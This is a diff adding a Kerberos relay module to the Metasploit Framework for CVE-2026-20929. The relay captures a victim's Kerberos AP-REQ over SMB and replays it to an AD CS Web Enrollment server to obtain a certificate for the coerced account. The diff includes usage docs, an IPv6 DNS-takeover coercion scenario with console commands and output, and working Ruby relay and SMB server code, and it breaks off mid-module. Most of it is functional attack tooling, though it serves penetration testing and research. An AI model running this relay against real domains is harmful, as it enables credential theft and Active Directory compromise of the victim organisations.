diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md new file mode 100644 index 0000000000000..469108918c3f4 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -0,0 +1,127 @@ +## Vulnerable Application + +This module creates an SMB server and relays the **Kerberos** authentication it +captures to an AD CS HTTP(S) Web Enrollment (ESC8) endpoint, then requests a +certificate on behalf of the coerced principal. It is the Kerberos counterpart +to `auxiliary/server/relay/esc8` (which relays NTLM): instead of an NTLM +NTLMSSP exchange, it extracts the Kerberos AP-REQ from the SPNEGO blob a victim +sends to the SMB server and replays it to the CA over HTTP `Authorization: +Negotiate`. + +Because a Kerberos service ticket is bound to a specific service principal name +(SPN), the victim must be coerced into authenticating to a name whose SPN the +attacker can relay. This is done with a DNS-takeover coercion module (see the +Scenarios section), which is the technique described in CVE-2026-20929: an +IPv6 DNS takeover (rogue DHCPv6 or Router Advertisement) hands the attacker as +the victim's DNS server, and a CNAME record steers the victim's connection to +the attacker's SMB server while the ticket is still issued for the target SPN. + +Unlike NTLM relay, the AP-REQ is encrypted, so the authenticating identity is +not visible on the wire. The operator supplies the coerced principal via +`RELAY_IDENTITY` so the module can pick the correct certificate template and +label its output. + +## Verification Steps + +This module is the relay half of a two-part technique and is normally paired +with a coercion module. For the full end-to-end setup see the Scenarios section. + +1. Configure an ESC8-vulnerable host (AD CS with HTTP Web Enrollment enabled) + * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host +2. Start `msfconsole` +3. Do: `use auxiliary/server/relay/esc8_kerberos` +4. Set `RHOSTS` to the AD CS Web Enrollment server +5. Set `RELAY_IDENTITY` to the principal you will coerce (for example `WIN-VICTIM$@ad.example.com`) +6. Run the module and, in parallel, coerce the victim (see Scenarios) +7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued + +## Options + +### MODE + +The issue mode. Controls what the module does once the relayed connection to +the Web Enrollment server is authenticated. Must be one of: + +* ALL: Enumerate all available certificate templates and issue each of them. +* AUTO: Automatically select the `User` or `Machine`/`DomainController` template + based on whether the coerced `RELAY_IDENTITY` is a user or a machine account + (machine accounts end in `$`). +* QUERY_ONLY: Enumerate available certificate templates but do not issue any. +* SPECIFIC_TEMPLATE: Issue only the template named in `CERT_TEMPLATE`. + +### CERT_TEMPLATE + +The template to issue when `MODE` is `SPECIFIC_TEMPLATE` (for example `Machine` +or `User`). + +### RELAY_IDENTITY + +The Kerberos principal you are coercing (for example `WIN-VICTIM$@ad.example.com` +or `labuser@ad.example.com`). Because the relayed AP-REQ is encrypted, this +identity is not recoverable from the wire; the module uses it to choose the +certificate template (in `AUTO` mode) and to label its output. It does not need +to match a password or key. + +`RHOSTS` is the AD CS Web Enrollment host to relay to, and the module listens for +the coerced Kerberos authentication on the SMB port (`SRVPORT`, default 445). + +## Scenarios + +The technique has two halves running at the same time: this relay server, and a +coercion module that (a) makes the victim use the attacker as its DNS server and +(b) steers the victim's connection to the attacker while the Kerberos ticket is +still minted for the real target SPN. + +### Full coerce-to-certificate flow (native IPv6 DNS takeover) + +Terminal 1 - start the relay server: + +``` +msf > use auxiliary/server/relay/esc8_kerberos +msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY WIN-VICTIM$@ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE +msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine +msf auxiliary(server/relay/esc8_kerberos) > run +[*] Auxiliary module running as background job 0. +[*] SMB Server is running. Listening on 0.0.0.0:445 +``` + +Terminal 2 - coerce the victim with the native IPv6 DNS takeover (either the +DHCPv6 or the Router Advertisement module): + +``` +msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run +``` + +Once the victim resolves the target service through the attacker and +authenticates to the attacker's SMB server, the relay server extracts the +AP-REQ, replays it to the CA, and saves the issued certificate: + +``` +[*] New Kerberos request from 192.168.64.2 +[*] Received AP-REQ for coerced principal WIN-VICTIM$@ad.example.com +[*] Relaying to next target http://ca.ad.example.com/certsrv/ +[+] Successfully authenticated against relay target http://ca.ad.example.com/certsrv/ +[*] Creating certificate request for WIN-VICTIM$ using the Machine template +[*] Requesting relay target generate certificate... +[+] Certificate for WIN-VICTIM$ using template Machine saved to ~/.msf4/loot/..._windows.ad.cs_....pfx +``` + +The resulting `.pfx` can then be used with `auxiliary/admin/kerberos/get_ticket` +(PKINIT) to obtain a TGT for the coerced account. + +## Notes + +* This module supports Kerberos only; for NTLM relay to ESC8 use + `auxiliary/server/relay/esc8`. +* The relay is one-shot per coerced authentication: a Kerberos AP-REQ is bound to + the SPN it was issued for, so there is no NTLM-style multi-target challenge loop. +* A full end-to-end run against a live domain requires the CA and the KDC to be + reachable during coercion. When the CA and KDC are the same host, use the + CNAME/passthrough options of the coercion module so the KDC leg stays reachable + while the service connection is hijacked. diff --git a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb new file mode 100644 index 0000000000000..2c94d428596f7 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + # GSS-API wrapping and unwrapping of a Kerberos AP-REQ for relaying + # (CVE-2026-20929, Kerberos authentication relay via DNS CNAME abuse). + # + # Two directions, both used by the relay: {#extract_ap_req} pulls a + # captured AP-REQ out of a coerced client's token (used by the relay + # server), and {#build_spnego_ap_req} re-wraps that AP-REQ into a fresh + # GSS-SPNEGO blob to send to the real service (used by the relay target). + # + # The AP-REQ is carried as opaque DER, never interpreted: the client's + # identity lives in the encrypted ticket/authenticator, which only the + # real target service can decrypt, and + # {Rex::Proto::Kerberos::Model::ApReq#decode} is not implemented anyway. + module GssApReq + include Rex::Proto::Gss::Asn1 + + # The 2-byte token id prefixing a GSS-wrapped KRB_AP_REQ. + # https://datatracker.ietf.org/doc/html/rfc1964#section-1.1.1 + TOK_ID_KRB_AP_REQ = "\x01\x00".b.freeze + + # OIDs (compared by value) that identify a Kerberos v5 mechanism + # inside a GSS token: the standard mech and Microsoft's variant. + KERBEROS_MECH_OIDS = [ + Rex::Proto::Gss::OID_KERBEROS_5.value, + Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value + ].freeze + + # Pull the raw AP-REQ out of a client's GSS-API authentication token. + # + # @param security_blob [String] The raw GSS-API token from the + # client's authentication attempt. Either a SPNEGO NegTokenInit + # (the usual HTTP/SMB case) or a bare GSS Kerberos token. + # @return [String] The captured AP-REQ as DER bytes, ready to be + # re-wrapped via {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} + # and forwarded to a relay target. + # @raise [ArgumentError] if the blob does not carry a Kerberos AP-REQ. + def extract_ap_req(security_blob) + blob = security_blob.to_s.b + mech_id, token = safe_unwrap(blob) + + # SPNEGO wraps the real mechanism token one level deeper; unwrap it. + if mech_id.value == Rex::Proto::Gss::OID_SPNEGO.value + mech_id, token = safe_unwrap(spnego_mech_token(blob)) + end + + unless KERBEROS_MECH_OIDS.include?(mech_id.value) + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + unless token.to_s.start_with?(TOK_ID_KRB_AP_REQ) + raise ArgumentError, 'GSS Kerberos token is not an AP-REQ' + end + + token.byteslice(TOK_ID_KRB_AP_REQ.bytesize..-1).to_s + end + + # Whether the incoming blob carries a Kerberos AP-REQ (as opposed to an + # NTLM message), letting a shared relay server dispatch on mechanism. + # + # @param security_blob [String] The raw GSS-API token. + # @return [Boolean] + def kerberos_ap_req?(security_blob) + extract_ap_req(security_blob) + true + rescue ArgumentError + false + end + + # Re-wrap a captured AP-REQ into a GSS-SPNEGO blob suitable for + # sending to a relay target's HTTP/SMB service. The inverse of + # {#extract_ap_req}: a token produced here round-trips back to the + # same AP-REQ bytes. + # + # This mirrors the envelope built by + # {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} but takes + # raw AP-REQ DER rather than an ApReq model object, because the relay + # only ever holds the captured bytes (ApReq#decode is unsupported). + # + # @param ap_req_der [String] The captured AP-REQ as DER bytes, e.g. + # from {#extract_ap_req}. + # @return [String] A SPNEGO NegTokenInit carrying the AP-REQ. + def build_spnego_ap_req(ap_req_der) + mech_token = wrap_pseudo_asn1( + Rex::Proto::Gss::OID_KERBEROS_5, + TOK_ID_KRB_AP_REQ + ap_req_der.to_s.b + ) + + OpenSSL::ASN1::ASN1Data.new([ + Rex::Proto::Gss::OID_SPNEGO, + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) + ], 0, :CONTEXT_SPECIFIC), + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::OctetString.new(mech_token) + ], 2, :CONTEXT_SPECIFIC) + ]) + ], 0, :CONTEXT_SPECIFIC) + ], 0, :APPLICATION).to_der + end + + private + + # Unwrap a GSS pseudo-ASN.1 token to its leading mechanism OID and the + # bytes that follow, normalizing any decode failure into an + # ArgumentError so callers only handle one error type. Uses + # {Rex::Proto::Gss::Asn1#unwrap_pseudo_asn1}, which stops at the OID + # and so tolerates the pseudo-ASN.1 (raw token id + AP-REQ) that a + # full OpenSSL::ASN1 decode would reject. + # + # @param blob [String] + # @return [Array(OpenSSL::ASN1::ObjectId, String)] mechanism id and token + # @raise [ArgumentError] if the blob is not a GSS-API token + def safe_unwrap(blob) + mech_id, token = unwrap_pseudo_asn1(blob) + unless mech_id.respond_to?(:value) + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + [mech_id, token] + rescue OpenSSL::ASN1::ASN1Error + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + # The mechanism token carried inside a SPNEGO NegTokenInit. + # + # @param blob [String] a SPNEGO NegTokenInit + # @return [String] the wrapped GSS mechanism token + # @raise [ArgumentError] if the SPNEGO token cannot be parsed + def spnego_mech_token(blob) + init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(blob) + token = init.mech_token + raise ArgumentError, 'SPNEGO token carries no mechanism token' if token.nil? + + token + rescue RASN1::ASN1Error => e + raise ArgumentError, "Failed to parse SPNEGO token: #{e.message}" + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb new file mode 100644 index 0000000000000..62b3e0888b39d --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + # Orchestrates relaying a captured client GSS token to a target for a + # Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP + # relay server client includes this and supplies the incoming security + # blob; the RubySMB/HTTP plumbing lives in the including class. + # + # This is the Kerberos counterpart to the NTLM server client's + # relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a + # complete credential, so there is no challenge/response and no + # per-identity target selection: the AP-REQ is cryptographically bound + # to the SPN the attacker coerced the victim to request, so it can only + # be relayed to the service matching that SPN. + # + # The including class must provide a +logger+ responding to + # print_status / print_good / print_warning. + module RelayHandler + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + + # Relay a captured client GSS token to a target when it carries a + # Kerberos AP-REQ. Returns nil without touching the target when the + # token is not Kerberos, so a shared relay server can fall through to + # its NTLM path. + # + # @param security_blob [String] the incoming client GSS-API token + # @param client [Target::HTTP::Client] the connected relay target client + # @param target [Object] the relay target descriptor (for logging) + # @param relay_targets [Object, nil] notified via on_relay_end, if given + # @param listener [Object, nil] notified via on_relay_success / on_relay_failure + # @param identity [String, nil] the client principal, if already known + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_kerberos(security_blob, client:, target:, relay_targets: nil, listener: nil, identity: nil) + return nil unless kerberos_ap_req?(security_blob) + + ap_req = extract_ap_req(security_blob) + logger.print_status("Relaying Kerberos AP-REQ to #{target}") + + result = client.relay_ap_req(ap_req) + is_success = !result.nil? && result.success == true + relay_targets&.on_relay_end(target, identity: identity, is_success: is_success) + + if is_success + logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}") + listener&.on_relay_success(relay_connection: client, relay_identity: identity) + else + logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed") + listener&.on_relay_failure(relay_connection: client) + client.disconnect! + end + + result + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb new file mode 100644 index 0000000000000..c8555f5bcdb5d --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +# Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM +# relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server +# captures a client's Kerberos AP-REQ and hands it to a target here, which +# replays it to a real service via a per-protocol client. +module Msf::Exploit::Remote::Relay::Kerberos::Target + # The outcome of replaying a captured AP-REQ to a relay target. + # + # @!attribute message + # @return [Object, nil] The target's response (e.g. the HTTP response), if any. + # @!attribute success + # @return [Boolean] Whether the target accepted the relayed AP-REQ. + # @!attribute identity + # @return [String, nil] The authenticated principal, once known (the AP-REQ + # itself carries the identity encrypted, so this is filled in by the target + # flow rather than read from the AP-REQ). + RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) + + # Build the relay target client for a target's protocol, bound to the relay + # server connection. Mirrors the NTLM server client's create_relay_client; + # the single dispatch point new protocols (e.g. LDAP) plug into. + # + # @param provider [Object] the relay server connection (supplies the TLS context) + # @param target [Object] the relay target descriptor (its #protocol selects the client) + # @param logger [Object] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + # @return [Object] a per-protocol relay target client + # @raise [ArgumentError] if the target protocol has no Kerberos relay client + def self.create_client(provider, target, logger, timeout) + case target.protocol + when :http, :https + HTTP::Client.create(provider, target, logger, timeout) + else + raise ArgumentError, "unsupported Kerberos relay target protocol: #{target.protocol}" + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb new file mode 100644 index 0000000000000..e44a69b190dbd --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -0,0 +1,123 @@ +# -*- coding: binary -*- + +require 'base64' + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + module Target + module HTTP + # HTTP relay target for Kerberos (CVE-2026-20929). Replays a + # captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment + # for ESC8) over a SPNEGO Negotiate exchange. + # + # Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained + # credential: there is no challenge/response round-trip, so the + # relay is a single request. On success the connection is left open + # for the calling module to issue authenticated follow-up requests + # (mirroring how the NTLM ESC8 target reuses the relayed connection). + class Client + extend Forwardable + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + + # Once the AP-REQ has been relayed, the connection is authenticated + # for its lifetime, so the calling module (e.g. the ESC8 target) + # drives follow-up requests through it as if it were an HTTP client. + # send_request_raw('client' => relay_connection) reaches these. + def_delegators :@client, :request_cgi, :request_raw + + # @return [Object] the relay target descriptor (ip/port/path/protocol) + attr_reader :target + + # @param client [Rex::Proto::Http::Client] the connected HTTP client + # @param target [Object] the relay target descriptor + # @param logger [Object, nil] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + def initialize(client:, target:, logger: nil, timeout: -1) + @client = client + @target = target + @logger = logger + @timeout = timeout + end + + # Build a target client bound to the relay server connection's TLS + # context, matching the NTLM target factory signature. + def self.create(provider, target, logger, timeout) + http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger) + client = Rex::Proto::Http::Client.new( + target.ip, + target.port, + provider.dispatcher.tcp_socket.context, + target.protocol == :https, + subscriber: http_logger_subscriber + ) + + new(client: client, target: target, logger: logger, timeout: timeout) + end + + # Replay a captured AP-REQ to the target's HTTP service. + # + # @param ap_req_der [String] the captured AP-REQ as DER bytes + # @return [Msf::Exploit::Remote::Relay::Kerberos::RelayResult, nil] + # the relay outcome, or nil if no HTTP response was received. + def relay_ap_req(ap_req_der) + security_blob = build_spnego_ap_req(ap_req_der) + + req = @client.request_raw( + 'method' => 'GET', + 'uri' => @target.path, + 'headers' => { + 'Accept-Encoding' => 'identity', + 'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}" + } + ) + res = @client.send_recv(req, @timeout, true) + + if res.nil? + log_error("No HTTP response received from #{@target}") + return nil + end + + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new( + message: res, + success: successful_status?(res.code) + ) + end + + # Send a follow-up request on the relayed, now-authenticated + # connection. The connection is kept persistent so the + # Kerberos-authed session stays open across the enrollment + # exchange (send_request_raw drives this with 'client' => self). + def send_recv(req, timeout = -1) + @client.send_recv(req, timeout, true) + end + + def disconnect! + @client.close + end + + protected + + attr_reader :logger + + # Whether an HTTP status code indicates the relayed AP-REQ was + # accepted. Configurable per target, defaulting to any 2xx. + def successful_status?(code) + expected = @target.respond_to?(:protocol_options) ? @target.protocol_options.fetch(:http_status_code, 200..299) : (200..299) + expected.is_a?(Range) ? expected.include?(code) : expected == code + end + + def log_error(msg) + elog(msg) + @logger&.print_error(msg) + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb new file mode 100644 index 0000000000000..afb872fbd7abc --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb @@ -0,0 +1,166 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # Module-level mixin that runs an SMB server which relays a coerced client's + # Kerberos AP-REQ to a target (CVE-2026-20929). The Kerberos counterpart to + # {Msf::Exploit::Remote::SMB::RelayServer}. + # + # The including module supplies {#relay_targets} and receives on_relay_success + # / on_relay_failure, so the relay server stays decoupled from what is done + # with the authenticated connection (e.g. the ESC8 certificate target). + module RelayServer + include ::Msf::Auxiliary::MultipleTargetHosts + include ::Msf::Exploit::Remote::SocketServer + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]), + Msf::OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']), + Msf::OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]), + Msf::OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']), + Msf::OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) + ], self.class + ) + end + + def smb_logger + log_device = if datastore['VERBOSE'] + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) + else + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) + end + + Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device) + end + + # Service-manager wrapper that owns the listening socket and the Kerberos + # relay {Server}. Mirrors {Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer}. + class KerberosSMBRelayServer + include ::Rex::Proto + + def initialize(options) + @options = options + end + + def alias + super || 'SMB Kerberos Relay Server' + end + + # + # Returns the hardcore alias for the SMB service + # + def self.hardcore_alias(*args) + sock_options = sock_options_for(*args) + "#{sock_options['LocalHost']}#{sock_options['LocalPort']}" + end + + def start + @listener_sock = Rex::Socket::TcpServer.create(sock_options) + @listener_server = Msf::Exploit::Remote::SMB::Relay::Kerberos::Server.new(**smb_server_options(@listener_sock)) + @listener_thread = Rex::ThreadFactory.spawn('SMBKerberosRelayServerListener', false) do + @listener_server.run + rescue StandardError => e + elog(e) + end + end + + def stop + begin + @listener_server.close if @listener_server && !@listener_server.closed? + @listener_thread.kill if @listener_thread + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server') + elog('Failed closing SMB Kerberos relay server', error: e) + end + + begin + @listener_sock.close if @listener_sock && !@listener_sock.closed? + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server socket') + elog('Failed closing SMB Kerberos relay server socket', error: e) + end + end + + # + # This method waits on the server listener thread + # + def wait + @listener_thread.join if @listener_thread + end + + attr_accessor :listener_sock, :listener_thread + + def self.sock_options_for(options) + { + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + }.merge(options[:socket]) + end + + private + + def sock_options + self.class.sock_options_for(@options) + end + + def smb_server_options(listener_sock) + { server_sock: listener_sock }.merge(@options[:smb_server]) + end + end + + def start_service(_opts = {}) + # The Kerberos capture path short-circuits before the GSS provider is + # consulted, so this provider only backs the NTLM/anonymous fallback for + # non-Kerberos SessionSetups; access is granted so the coerced client is + # never tipped off by an auth failure. + gss_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new( + default_domain: datastore['SMBDomain'] + ) + gss_provider.dns_domain = datastore['SMBDomain'] + gss_provider.dns_hostname = datastore['SMBDomain'] + gss_provider.netbios_domain = datastore['SMBDomain'] + gss_provider.netbios_hostname = datastore['SMBDomain'] + + comm = _determine_server_comm(bindhost) + @service = Rex::ServiceManager.start( + self.class::KerberosSMBRelayServer, + { + socket: { + 'Comm' => comm, + 'LocalHost' => bindhost, + 'LocalPort' => datastore['SRVPORT'], + 'Server' => true, + 'Timeout' => datastore['SRV_TIMEOUT'], + 'Context' => { + 'Msf' => framework, + 'MsfExploit' => self + } + }, + smb_server: { + gss_provider: gss_provider, + logger: smb_logger, + relay_targets: relay_targets, + listener: self, + relay_timeout: datastore['RELAY_TIMEOUT'], + thread_manager: framework.threads + } + } + ) + print_status("SMB Kerberos relay server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}") + @service + rescue Errno::EACCES => e + fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e}") + end + + def relay_targets + raise NotImplementedError, 'the including module must define #relay_targets' + end + + def on_relay_failure(relay_connection:) + # noop + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb new file mode 100644 index 0000000000000..5eb9a9a8ce2d9 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -0,0 +1,80 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # The SMB server core for a Kerberos relay (CVE-2026-20929). The Kerberos + # counterpart to {Msf::Exploit::Remote::SMB::Relay::NTLM::Server}: it accepts + # incoming SMB connections from coerced hosts and hands each one to a + # {ServerClient}, which captures and relays the client's Kerberos AP-REQ. + class Server < ::RubySMB::Server + # Supported server dialects. SMB 1 is allowed so it can be reported as a + # failure to the user, matching the NTLM relay server. + SUPPORTED_SERVER_DIALECTS = [ + RubySMB::Client::SMB1_DIALECT_SMB1_DEFAULT, + + RubySMB::Client::SMB2_DIALECT_0202, + RubySMB::Client::SMB2_DIALECT_0210, + RubySMB::Client::SMB2_DIALECT_0300, + RubySMB::Client::SMB2_DIALECT_0302 + ].freeze + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + # @param thread_manager [Object] spawns per-connection threads + def initialize(relay_timeout:, relay_targets:, listener:, thread_manager:, **kwargs) + super(**kwargs) + + @dialects = SUPPORTED_SERVER_DIALECTS + @relay_targets = relay_targets + @relay_timeout = relay_timeout + @listener = listener + @thread_manager = thread_manager + @closed = false + end + + # Accept connections and service each with a Kerberos {ServerClient}. If a + # block is given it is called with each new server client; returning false + # stops the accept loop. + def run(&block) + until closed? + sock = @socket.accept + return if closed? + + server_client = Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient.new( + self, + RubySMB::Dispatcher::Socket.new(sock), + relay_targets: @relay_targets, + relay_timeout: @relay_timeout, + listener: @listener + ) + @connections << Connection.new(server_client, @thread_manager.spawn("SMBKerberosRelayServerClient for #{sock.peerinfo}", false, server_client) do |client| + begin + _port, ip_address = ::Socket.unpack_sockaddr_in(client.getpeername) + logger.print_status("New request from #{ip_address}") + logger.info("Starting thread for connection from #{ip_address}") + client.run + rescue StandardError => e + logger.print_error(e.message) + elog(e) + end + logger.info("Ending thread for connection from #{ip_address}") + end) + + break unless block.nil? || block.call(server_client) + end + end + + def closed? + @closed + end + + def close + @closed = true + @connections.each do |connection| + connection.thread.kill + rescue StandardError => e + elog('Failed to stop SMBKerberosRelayServerClient', error: e) + end + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb new file mode 100644 index 0000000000000..ebdbbbc7d18d3 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -0,0 +1,88 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # A single connected SMB client for a Kerberos relay (CVE-2026-20929). The + # Kerberos counterpart to {Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient}. + # + # A coerced host authenticates to this server over SMB; its SMB2 SessionSetup + # carries a SPNEGO-wrapped Kerberos AP-REQ. Unlike NTLM there is no + # challenge/response: the AP-REQ is a complete credential that arrives in a + # single message, so this client captures it, relays it to the target, and + # answers the SessionSetup in one shot. + class ServerClient < ::RubySMB::Server::ServerClient + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) + super(server, dispatcher) + + @relay_timeout = relay_timeout + @relay_targets = relay_targets + @listener = listener + end + + # Intercept the SMB2 SessionSetup. When it carries a Kerberos AP-REQ, relay + # it; otherwise defer to the default handling (NTLM / normal auth). + def do_session_setup_smb2(request, session) + security_buffer = request.buffer.to_binary_s + return super unless kerberos_ap_req?(security_buffer) + + result = relay_captured_ap_req(security_buffer) + build_session_setup_response(request, session, result) + end + + # Select the relay target, build its client, and relay the captured AP-REQ. + # Split out from the SMB plumbing so the relay decision is unit-testable. + # + # @param security_buffer [String] the SessionSetup GSS-API blob + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_captured_ap_req(security_buffer) + # A Kerberos AP-REQ is bound to the SPN the attacker coerced, so it can + # only go to the matching service; identity is not known here (encrypted). + target = @relay_targets.next(nil) + if target.nil? + logger.print_status('No relay target available for the captured AP-REQ') + return nil + end + + client = Msf::Exploit::Remote::Relay::Kerberos::Target.create_client(self, target, logger, @relay_timeout) + relay_kerberos( + security_buffer, + client: client, + target: target, + relay_targets: @relay_targets, + listener: @listener + ) + end + + private + + # Answer the coerced client's SessionSetup once the AP-REQ has been relayed. + # We do not complete mutual auth with the victim (we have what we need), so + # this reports success or failure and lets the connection close. + # + # NOTE: the exact SMB2 response shape is validated against a live coerced + # client in the lab; the status mapping below is the unit-tested part. + def build_session_setup_response(request, session, result) + session_id = request.smb2_header.session_id + session_id = rand(1..0xfffffffe) if session_id.zero? + + response = RubySMB::SMB2::Packet::SessionSetupResponse.new + response.smb2_header.message_id = request.smb2_header.message_id + response.smb2_header.session_id = session_id + response.smb2_header.nt_status = relay_status(result) + response + end + + # Map a relay outcome to the SMB status returned to the coerced client. + def relay_status(result) + if result&.success + WindowsError::NTStatus::STATUS_SUCCESS.value + else + WindowsError::NTStatus::STATUS_LOGON_FAILURE.value + end + end + end +end diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb new file mode 100644 index 0000000000000..56ab7b994594d --- /dev/null +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include ::Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer + include ::Msf::Exploit::Remote::HttpClient + include ::Msf::Exploit::Remote::HTTP::WebEnrollment + + def initialize(_info = {}) + super({ + 'Name' => 'ESC8 Relay: SMB to HTTP(S) via Kerberos', + 'Description' => %q{ + This module creates an SMB server and relays the Kerberos AP-REQ passed to it + (for example from a coerced host, CVE-2026-20929) to an AD CS Web Enrollment + HTTP endpoint to gain an authenticated connection. Once that connection is + established, the module makes an authenticated request for a certificate based + on a given template. + + Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained credential bound + to the SPN the victim was coerced into requesting, so there is no + challenge/response and the relay is a single request. The captured AP-REQ can + only be relayed to the service matching that SPN. + }, + 'Author' 